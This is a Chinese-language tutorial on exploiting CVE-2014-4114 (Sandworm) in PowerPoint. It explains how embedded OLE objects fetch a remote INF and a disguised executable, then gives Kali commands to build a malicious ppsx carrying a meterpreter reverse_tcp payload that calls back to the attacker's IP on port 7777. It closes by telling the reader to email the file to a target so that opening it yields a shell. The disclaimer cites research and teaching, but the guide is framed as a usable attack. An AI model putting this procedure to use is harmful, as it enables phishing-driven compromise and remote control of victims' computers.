沙蟲漏洞(CVE-2014-4114)利用測試方法
本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
漏洞時間:2014年10月底
測試目標:裝有office2007,office2013的機器。
漏洞說明:此漏洞目前主要被黑客組織用來進行APT(Advanced Persistent Threat)攻擊,或者稱之為“針對特定目標的攻擊”。主要針對政府等大型企業,通過發送郵件的方式進行攻擊。
CVE-2014-4114 是OLE包管理INF 任意代碼執行漏洞,該漏洞影響Win Vista,Win7等以上操作系統,通過使用PowerPoint作為攻擊載體,該漏洞是出現在Microsoft Windows和服務器上的OLE包管理器。在OLE打包文件(packer.dll)中能夠下載并執行類似的INF外部文件,允許攻擊者執行命令。
利用測試意在了解漏洞的危害,以進行更好的防御。
漏洞原理
1.用到分析工具 filealyzer.
2.通過分析工具我們可以看到這個文件嵌入了兩個OLE 對象,如下:
OleObject2.bin中的\\192.9.205.102\share\slides.inf, 字符串,是一個webdav路徑,下載后發現是一個INF文件。oleObject1.bin是一個GIF文件。
2.當該文件被PPT加載后,它會調用Packager.dll的CPackage::OLE2MPlayerReadFromStream函數將這兩個文件從網絡上下載下來并保存在臨時目錄中。
3.然后在函數CPackage::DoVerb中調用SHELL32!CDefFolderMenu::InvokeCommand函數加載slides.inf,并安裝這個inf文件。CPackage::DoVerb的關鍵代碼如下:
4.安裝INF的過程最后是通過調用C:\Windows\System32\InfDefaultInstall.exe程序來安裝的。如下圖:
5.Slide.inf 的內容如下:
6.整個INF的主要功能是將slide1.gif重命名為slide1.gif.exe,然后添加注冊表啟動項。
漏洞大概原理就是:
執行PPT –> 內置2個OLE對象–> OLE對象包含2個遠程webdav地址 –>調用packager.dll的函數CPackage::OLE2MPlayerReadFromStream把遠程的 slide1.gif slides.inf 下載下來 —> 函數CPackage::DoVerb中調用SHELL32!CDefFolderMenu::InvokeCommand函數加載slides.inf,并安裝這個inf文件–>inf將slide1.gif重命名為slide1.gif.exe。然后添加注冊表啟動項。
目前已經出現了把惡意代碼包含在ppt文件中,但我現在的演示是惡意代碼 放在了遠程共享上。#p#
漏洞演示
vim ms14_060.py 把下面代碼復制到ms14_060.py中。
kali中的python可能沒有安裝pptx模塊。
我們手工安裝一下。
2.在kali系統搭建smb服務。把下面代碼復制到 /etc/samba/smb.conf 中。
mkdir /tmp/share
/etc/init.d/samba restart
3.執行下面命令。
python ms14_060.py sploit.pptx 192.9.205.174 -m 7777
產生一個a.ppsx 的文件。和一個slide1.gif的木馬文件,slides.inf 的文件 slide1.gif中的攻擊載荷為 meterpreter/reverce_tcp木馬連接本地IP 192.9.205.174:7777 端口
生成的 aa.ppsx中可以寫任何東西,普通PPT文件。
本地監聽 7777端口。
修改ppsx內容。
修改名稱,以郵件或者各種方式發給需要攻擊者。
攻擊者打開,反彈回shell





































